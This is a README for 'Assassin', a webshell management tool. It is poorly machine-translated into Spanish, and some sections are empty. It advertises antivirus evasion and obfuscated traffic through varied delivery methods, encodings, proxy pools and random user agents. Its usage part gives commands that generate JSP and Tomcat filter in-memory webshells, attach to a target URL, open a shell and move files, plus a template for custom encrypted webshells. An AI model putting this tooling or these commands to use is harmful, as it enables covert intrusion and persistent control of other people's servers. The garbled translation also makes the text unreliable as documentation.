Assassin es una herramienta de gestión de webshell de línea de comandos simplificada. Tiene una variedad de métodos de envío y codificación de carga útil, así como código de carga útil simplificado, por lo que es un asesino oculto y difícil de estar bien defendido.
Las herramientas son cortas y concisas, y la webshell generada puede ser más común y matar suave, minimizando las características del tráfico de la interacción después de la conexión, y se puede personalizar el método específico de envío de carga útil. Debido a la energía personal limitada, Porque soy perezoso y , el servidor solo admite Java.
Declaración: Es principalmente para la penetración legal o las competiciones de AWD de los estudiantes autorizados por el personal de ciberseguridad. Nadie lo usará para fines ilegales o fines de obtención de ganancias, de lo contrario, las consecuencias serán asumidas por sí mismas.
[1] La webshell generada puede ser más común que la matanza de software (las plantillas de WebShell se pueden personalizar y modificar)
[2] El WebShell tiene solo 1 kb de tamaño. El cliente y el servidor solo necesitan cargar el código de byte una vez para el mismo tipo de comunicación, y el tráfico posterior solo transmite comandos.
[3] La carga útil se puede enviar de cuatro maneras: obtener, publicar, cookies y mixta. Se puede modificar dinámicamente, y el tráfico es muy confuso.
[4] El tráfico interactivo entre el cliente y el servidor admite múltiples métodos de codificación, que se pueden modificar dinámicamente
[5] Los nombres y la cantidad de parámetros enviados por la carga útil se pueden personalizar, admitiendo agentes de IP aleatorios y agentes de usuario
Software similar al modo de operación MSF




Galletas: 
correo: 
mezclado: 
conseguir: 
Además del método de cookie, Get, Post y Mixed puede modificar dinámicamente el método de envío después de que se haya establecido una conexión, sin cambiar el servidor.
Solicitud de codificación:
Codificación de respuesta:
El método de codificación de la respuesta se puede modificar dinámicamente
Servidor: JRE 1.5 y superior
Cliente: JDK 1.8 y superior
{
"paramNames" : [ " user " , " file " , " id " , " eid " , " wd " , " ie " , " oq " , " name " , " son " ],
// get、post、mixed请求参数名的随机池
"cookieNames" : [ " fid " , " uuid " , " eid " , " home " , " ief " , " fl " , " oop " ],
// cookie请求参数名的随机池
"headers" :{
"Accept" : " text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 " ,
"Accept-Encoding" : " gzip, deflate, br " ,
"Accept-Language" : " Accept-Language: zh-CN,zh;q=0.9 " ,
"Upgrade-Insecure-Requests" : " 1 "
},
// http头部
"partNum" : 3 ,
// payload首次发送的分块数量
"argNum" : 5 ,
// 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
"startRandomUserAgent" : false ,
// 是否随机useragent
"startIpAgents" : false ,
// 是否开启ip池代理模式
"startColor" : true
// 是否启用命令行颜色
}UserAgent aleatorio utiliza el UserAgent en ./Useragents.txt. Después de abrir, el usuariogent se reemplazará cada vez que la solicitud esté habilitada. Generalmente se usa con el agente IP. Cuando se cerra, se inicia una sesión de WebShell con el comando de sesión cada vez.
El grupo de proxy IP usa ./ipagents.txt, el formato es ip:posr;username:password . Si no se requiere autenticación, ip:port estará bien. Después de abrir, se seleccionará un proxy de cada solicitud.
Consejo: Cierre "StartColor" después de que el usuario de Windows inicie el código confuso, o use la terminal de Windows para comenzar
Todos los comandos son relativamente simples de usar, puede ver los parámetros a través del comando de ayuda

help [command] Ver el comando específico Ayuda

Comience con startup.bat o startup.sh
new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 Consejos: Hay muchos parámetros para los comandos ADD y nuevos, y los parámetros opcionales envueltos en los soportes también se pueden asignar con Key = Value.
Luego, una ventana emergente seleccionará la ubicación de guardar

Sube el WebShell al servidor de destino
add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36 show View Número de identificación 
session 1 Conéctese a WebShell

Cuando vea los cambios rápidos, ¡puede ejecutar el comando de los comandos del controlador webshell!
Assassin | java > getshell
Assassin | java | C: a pache-tomcat-9.0.54 b in > dirArchivo de carga
upload # 没参数默认传到当前目录
Seleccione el archivo para cargar
download ./test.txt lo mismo se aplica



La primera parte está llena de {@Key}, que representa la contraseña de WebShell
La segunda parte se llena con {@getValue}, que representa el código que obtiene la solicitud de carga útil
La tercera parte se llena con {@Decode}, que representa el código de decodificación
La plantilla es la siguiente:
String k = "{@key}" ; // aes密钥 123456 md5的前16位
String r = "" ; //密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{ @ getvalue }
byte [] cText = { @ decode };Si la otra lógica principal permanece sin cambios, puede conectarse con éxito.
Ejemplo
Consulte la plantilla de caballo de memoria de filtro de Tomcat en WebShell/Java/